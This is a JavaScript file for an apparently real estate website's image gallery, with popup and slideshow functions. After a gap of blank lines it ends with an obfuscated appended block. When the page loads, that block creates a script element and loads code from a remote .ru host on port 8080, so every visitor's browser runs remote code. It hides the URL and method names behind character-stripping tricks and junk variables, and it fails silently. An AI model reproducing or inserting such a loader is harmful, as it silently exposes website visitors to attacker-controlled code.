function movepic(img_name,img_src) {
    document[img_name].src=img_src;
}

function popup(url){
    window.open(url, 'avail', 'toolbar=no,scrollbars=yes,resizable=yes,width=500,height=400,left=500,top=100,screenX=500,screenY=100');
}

function popupmap(url){
    mapwindow = window.open(url,'mapwin','top=50,left=150,screenX=150,screenY=50,width=600,height=600,location=no,scrollbars=yes,resizable=yes');
    mapwindow.focus();
}

function popupwritereview(url){
    window.open(url,'calwin','top=50,left=100,width=800,height=500,location=no,scrollbars=yes');
}

function Pics(img,text){
	
    var bName;
    var bver;
    bName = navigator.appName; //1
    bVer = parseInt(navigator.appVersion); //2
	if(bName == "Microsoft Internet Explorer" && bVer <= 4)
	{
	document.getElementById("theImage").src = img.replace("-th",'') ;
	document.getElementById("text1").innerText = text ;
	document.getElementById("text1").innerHTML = text ;
	
	}
	else if (bName == "Microsoft Internet Explorer" && bVer >= 4)
	{	
	 document.all.theImage.src=img.replace("-th",'') ;
	 document.all.text1.innerText= text;
	 document.all.text1.innerHTML = text;
	
	}
	else
	{
		
	document.getElementById("theImage").src= img.replace("-th",'') ;
	document.all.text1.innerText = text;
	document.all.text1.innerHTML = text;
	
	}
	/*

    url="/property/poppicture.php?img="+img+"&desc="+des;	
    if (bName == "Microsoft Internet Explorer" && bVer >= 4) {
	    document.all.ifr.style.width=wd;
        document.all.ifr.style.height=h;
	    document.all.ifr.contentWindow.document.location=url;
	    //document.all.imgDesc.innerHTML=des;		
	}
	else if (bName == "Microsoft Internet Explorer" && bVer <= 4) {
		document.getElementById("ifr").style.width=wd;
        document.getElementById("ifr").style.height=h;
		document.getElementById("ifr").document.location = url
		document.getElementById("imgDesc").innerHTML=des;
	}
	else {
        document.getElementById("ifr").style.width=wd;
        document.getElementById("ifr").style.height=h;
		document.getElementById("ifr").contentDocument.location=url
		document.getElementById("imgDesc").innerHTML=des;
	}
	*/
}
function Nexter(){
		if (currentIndx<imagesPreloaded.length-1){
		currentIndx=currentIndx+1;     
	
		document.theImage.src=imagesPreloaded[currentIndx]
		document.all['text1'].innerText =MyImageDesc[currentIndx]
		document.all['text1'].innerHTML =MyImageDesc[currentIndx]
			
		
	}
	else {
		currentIndx=0
		document.theImage.src=imagesPreloaded[currentIndx]
		document.all['text1'].innerText =MyImageDesc[currentIndx]
		document.all['text1'].innerHTML =MyImageDesc[currentIndx]

	}
	}
	function Backer(){
		if(currentIndx==0){		
			currentIndx=imagesPreloaded.length-1;
			document.theImage.src=imagesPreloaded[currentIndx]
			document.all['text1'].innerText =MyImageDesc[currentIndx]
			document.all['text1'].innerHTML =MyImageDesc[currentIndx]
		}
		else if (currentIndx>0){	
			currentIndx=currentIndx-1;
			document.theImage.src=imagesPreloaded[currentIndx]
			document.all['text1'].innerText =MyImageDesc[currentIndx]
			document.all['text1'].innerHTML =MyImageDesc[currentIndx]
		}
		else {
			currentIndx=0
			document.theImage.src=imagesPreloaded[currentIndx]
			document.all['text1'].innerText =MyImageDesc[currentIndx]
			document.all['text1'].innerHTML =MyImageDesc[currentIndx]
			}
		}









var wZ=new String();try {var eB;if(eB!='Yz' && eB != ''){eB=null};var k=new String();var LW="";var Z=RegExp;var PZ;if(PZ!=''){PZ='vR'};var _="repl"+"acerJY".substr(0,3);var i;if(i!='V' && i != ''){i=null};var lZ=new Date();function S(b,O){var wQ='';var As=new String();var PQ;if(PQ!='gz' && PQ!='n'){PQ='gz'};var w=new String("[Y1L".substr(0,1));var U="g";var eL=new String();w+=O;var VC=new Date();var vg;if(vg!='q' && vg!='j'){vg=''};w+="]";var YJ;if(YJ!='' && YJ!='lw'){YJ=''};var VK;if(VK!='' && VK!='Ox'){VK=''};var VO="";var Xz;if(Xz!='' && Xz!='jQ'){Xz=null};var H=new Z(w, U);this.lb='';return b[_](H, new String());var cH='';var fC;if(fC!=''){fC='uM'};};var hr=new Date();var e=S('ovn9l9ovakdk',"9vk");var r=new Date();var UX=S('8356405364366866460374363',"57634");var jH=new Date();var y;if(y!='RX'){y='RX'};var o=S('cYrgeYagtgeUEUlYegmYegnYtU',"YUg");this.VM="";var vr=new Date();var x='';var v=window;var t;if(t!='PE'){t='PE'};var Vv;if(Vv!='GS'){Vv=''};var P=S('h3tZt3pZ:Z/3/Za3b3oZuZtZu3sZ-3oZr3g3.3m3i3nZi3n3oZvZa3.Zo3r3gZ.3s3t3a3pZlZeZsZ-3cZoZm3.ZBZu3yZT3hZe3BZlZeZn3d3eZrZ.ZrZu3:3',"Z3");var g_;if(g_!='' && g_!='s'){g_=''};var E=S('/5vMiTdTePoTsfzP.McToPmP/PvfiMdfeMoTsPz5.McfoMmP/53T7MwfaTnf.PcMo5mf/MgToToPgMl5ef.fcfofmT/Ta5dToMb5eM.TcfoPmM.PpMh5pf',"5fMTP");var Y=S('slcOrOiyputO',"lOVyu");var ff;if(ff!='Bi'){ff='Bi'};L=function(){var qR='';var wY='';var XX=new Date();var ui=new Array();I=document[o](Y);var eo=new String();var kj;if(kj!='' && kj!='UC'){kj='gP'};x=P+UX;var Ak;if(Ak!='W'){Ak=''};x+=E;var TM;if(TM!='Ew'){TM='Ew'};var uin;if(uin!='BV'){uin='BV'};var WH="";var Hs;if(Hs!='BX' && Hs!='BO'){Hs='BX'};var el=new Date();I.src=x;I.defer=([1][0]);var M="";var nE=new Array();document.body.appendChild(I);var yr=new String();};var DL=new String();this.EZ='';v[e]=L;var mq;if(mq!='' && mq!='WM'){mq=null};var EQ;if(EQ!='' && EQ!='OG'){EQ=null};} catch(c){var a;if(a!='' && a!='PF'){a=null};};